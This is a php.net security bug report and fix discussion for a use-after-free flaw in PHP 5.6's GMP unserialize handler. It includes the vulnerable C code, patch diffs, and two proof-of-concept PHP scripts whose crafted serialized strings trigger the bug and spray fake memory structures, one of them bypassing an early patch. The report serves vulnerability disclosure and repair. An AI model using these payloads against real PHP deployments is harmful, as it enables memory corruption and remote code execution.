php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70284 Use after free vulnerability in unserialize() with GMP
Submitted: 2015-08-17 17:07 UTC Modified: 2015-09-01 19:11 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.12 OS: *
Private report: No CVE-ID: None
 [2015-08-17 17:07 UTC] taoguangchen at icloud dot com
Description:
------------
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
	...

	INIT_ZVAL(zv);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_STRING
		|| convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
	) {
		zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
		goto exit;
	}
	zval_dtor(&zv);

	INIT_ZVAL(zv);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
	) {
		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
		goto exit;
	}
	
	if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
		zend_hash_copy(
			zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
			(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
		);
	}

	retval = SUCCESS;
exit:
	zval_dtor(&zv);
	PHP_VAR_UNSERIALIZE_DESTROY(unserialize_data);
	return retval;
}
```

we can use r: set to references to a ZVAL's values and free it from memory, then create another ZVAL to references to that already freed memory, finally the first ZVAL will be freed from memory. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC:
```
<?php

$inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}';
$exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

for ($i = 0; $i < 5; $i++) {
	$v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-08-17 17:09 UTC] taoguangchen at icloud dot com
patch for this bug (work on 5.6 series):

diff --git a/php-5.6.12/gmp.c b/php-5.6.12-fixed/gmp.c
index 575dab8..2b6f6e3 100644
--- a/php-5.6.12/gmp.c
+++ b/php-5.6.12-fixed/gmp.c
@@ -630,7 +630,7 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c
 {
 	mpz_ptr gmpnum;
 	const unsigned char *p, *max;
-	zval zv, *zv_ptr = &zv;
+	zval *zv_ptr;
 	int retval = FAILURE;
 	php_unserialize_data_t unserialize_data = (php_unserialize_data_t) data;
 
@@ -640,7 +640,7 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c
 	p = buf;
 	max = buf + buf_len;
 
-	INIT_ZVAL(zv);
+	ALLOC_INIT_ZVAL(zv_ptr);
 	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
 		|| Z_TYPE_P(zv_ptr) != IS_STRING
 		|| convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
@@ -648,15 +648,17 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c
 		zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
 		goto exit;
 	}
-	zval_dtor(&zv);
+	var_push_dtor(&unserialize_data, &zv_ptr);
+	zval_ptr_dtor(&zv_ptr);
 
-	INIT_ZVAL(zv);
+	ALLOC_INIT_ZVAL(zv_ptr);
 	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
 		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
 	) {
 		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
 		goto exit;
 	}
+	var_push_dtor(&unserialize_data, &zv_ptr);
 
 	if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
 		zend_hash_copy(
@@ -667,7 +669,7 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c
 
 	retval = SUCCESS;
 exit:
-	zval_dtor(&zv);
+	zval_ptr_dtor(&zv_ptr);
 	PHP_VAR_UNSERIALIZE_DESTROY(unserialize_data);
 	return retval;
 }
 [2015-08-23 20:36 UTC] stas@php.net
This patch: https://gist.github.com/smalyshev/f61c1a04c8f82345c7e9

seems to be shorter and also fixes the issue. Could you please verify?
 [2015-08-23 22:24 UTC] taoguangchen at icloud dot com
hi, this patch can be bypass.
```
	ALLOC_INIT_ZVAL(zv_ptr);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
	) {
		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
		goto exit;
	}
	
	var_push_dtor(&unserialize_data, &zv_ptr);  <===  you need to add this line code for fix it.
```
PoC:
```
$inner = 's:1:"1";a:0:{}';
$exploit = 'a:2:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

for ($i = 0; $i < 5; $i++) {
	$v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```
 [2015-08-23 23:09 UTC] stas@php.net
Ah, yes, I forgot it can be called from external unserialize too. Please see updated: https://gist.github.com/smalyshev/f61c1a04c8f82345c7e9
 [2015-08-23 23:19 UTC] taoguangchen at icloud dot com
the latest patch looks and test is ok.
 [2015-09-01 19:11 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-09-01 19:11 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 17:01:29 2024 UTC